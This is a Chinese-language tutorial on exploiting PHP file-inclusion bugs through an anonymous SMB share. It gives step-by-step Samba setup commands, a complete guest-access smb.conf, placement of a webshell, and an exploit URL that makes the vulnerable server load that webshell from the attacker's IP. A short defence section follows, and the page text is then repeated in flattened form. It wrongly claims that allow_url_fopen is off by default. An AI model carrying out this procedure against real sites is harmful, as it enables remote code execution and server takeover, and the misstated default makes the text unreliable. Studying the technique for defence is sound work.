利用SMB共享来绕过php远程文件包含的限制
字数 1064 2025-08-18 11:38:41

利用SMB共享绕过PHP远程文件包含限制的技术分析

1. 技术背景

PHP中的远程文件包含(RFI)漏洞通常允许攻击者包含并执行远程服务器上的恶意代码。但PHP配置中默认禁用了通过HTTP/FTP协议包含远程文件的功能:

  • allow_url_include:默认设置为"Off",阻止从HTTP/FTP URL包含文件
  • allow_url_fopen:默认设置为"Off",阻止从HTTP/FTP URL打开文件

然而,PHP默认不会阻止通过SMB协议访问远程文件,这为绕过RFI限制提供了可能。

2. 攻击原理

当PHP应用程序存在文件包含漏洞时,攻击者可以:

  1. 设置一个允许匿名访问的SMB共享服务器
  2. 在SMB共享中放置恶意PHP文件
  3. 通过包含SMB路径(如\\192.168.0.3\share\malicious.php)来执行远程代码

3. 攻击实施步骤

3.1 环境准备

PHP环境配置

  • 确保目标PHP环境中allow_url_fopenallow_url_include都设置为Off
  • 验证PHP版本(本例使用5.5.11)

3.2 Samba服务器配置(Linux)

  1. 安装Samba服务:
apt-get install samba
  1. 创建共享目录并设置权限:
mkdir /var/www/html/pub/
chmod 0555 /var/www/html/pub/
chown -R nobody:nogroup /var/www/html/pub/
  1. 配置Samba(/etc/samba/smb.conf):
[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes

[ica]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody
  1. 重启Samba服务:
service smbd restart

3.3 放置恶意PHP文件

将Webshell(如box.php)放入共享目录:

/var/www/html/pub/box.php

3.4 验证SMB共享

在Windows文件浏览器中访问:

\\[Samba服务器IP]\ica\

确认可以匿名访问并看到box.php文件

3.5 利用漏洞

通过易受攻击的PHP应用程序包含SMB共享中的文件:

http://vulnerable_app/page.php?page=\\192.168.0.3\ica\box.php

4. 防御措施

  1. 禁用不必要的协议

    • 在php.ini中限制允许的包装器
    • 禁用smb协议支持
  2. 输入验证

    • 严格验证文件包含参数
    • 限制包含路径为白名单目录
  3. 服务器配置

    • 禁用匿名SMB访问
    • 使用防火墙规则限制SMB端口(445/TCP)的访问
  4. 代码安全

    • 避免使用动态文件包含
    • 使用固定文件路径或哈希验证
  5. 监控与日志

    • 监控异常的SMB访问尝试
    • 记录文件包含操作

5. 技术要点总结

  1. PHP默认不阻止SMB协议的文件包含
  2. 匿名SMB共享可被用来托管恶意PHP文件
  3. 攻击不依赖allow_url_fopenallow_url_include设置
  4. 需要目标服务器能够访问攻击者的SMB共享
  5. 内网环境中的利用成功率更高

通过这种技术,攻击者可以绕过传统的PHP远程文件包含限制,在严格配置的环境中仍然可能实现远程代码执行。

利用SMB共享绕过PHP远程文件包含限制的技术分析 1. 技术背景 PHP中的远程文件包含(RFI)漏洞通常允许攻击者包含并执行远程服务器上的恶意代码。但PHP配置中默认禁用了通过HTTP/FTP协议包含远程文件的功能: allow_url_include :默认设置为"Off",阻止从HTTP/FTP URL包含文件 allow_url_fopen :默认设置为"Off",阻止从HTTP/FTP URL打开文件 然而,PHP默认不会阻止通过SMB协议访问远程文件,这为绕过RFI限制提供了可能。 2. 攻击原理 当PHP应用程序存在文件包含漏洞时,攻击者可以: 设置一个允许匿名访问的SMB共享服务器 在SMB共享中放置恶意PHP文件 通过包含SMB路径(如 \\192.168.0.3\share\malicious.php )来执行远程代码 3. 攻击实施步骤 3.1 环境准备 PHP环境配置 : 确保目标PHP环境中 allow_url_fopen 和 allow_url_include 都设置为Off 验证PHP版本(本例使用5.5.11) 3.2 Samba服务器配置(Linux) 安装Samba服务: 创建共享目录并设置权限: 配置Samba(/etc/samba/smb.conf): 重启Samba服务: 3.3 放置恶意PHP文件 将Webshell(如box.php)放入共享目录: 3.4 验证SMB共享 在Windows文件浏览器中访问: 确认可以匿名访问并看到box.php文件 3.5 利用漏洞 通过易受攻击的PHP应用程序包含SMB共享中的文件: 4. 防御措施 禁用不必要的协议 : 在php.ini中限制允许的包装器 禁用 smb 协议支持 输入验证 : 严格验证文件包含参数 限制包含路径为白名单目录 服务器配置 : 禁用匿名SMB访问 使用防火墙规则限制SMB端口(445/TCP)的访问 代码安全 : 避免使用动态文件包含 使用固定文件路径或哈希验证 监控与日志 : 监控异常的SMB访问尝试 记录文件包含操作 5. 技术要点总结 PHP默认不阻止SMB协议的文件包含 匿名SMB共享可被用来托管恶意PHP文件 攻击不依赖 allow_url_fopen 和 allow_url_include 设置 需要目标服务器能够访问攻击者的SMB共享 内网环境中的利用成功率更高 通过这种技术,攻击者可以绕过传统的PHP远程文件包含限制,在严格配置的环境中仍然可能实现远程代码执行。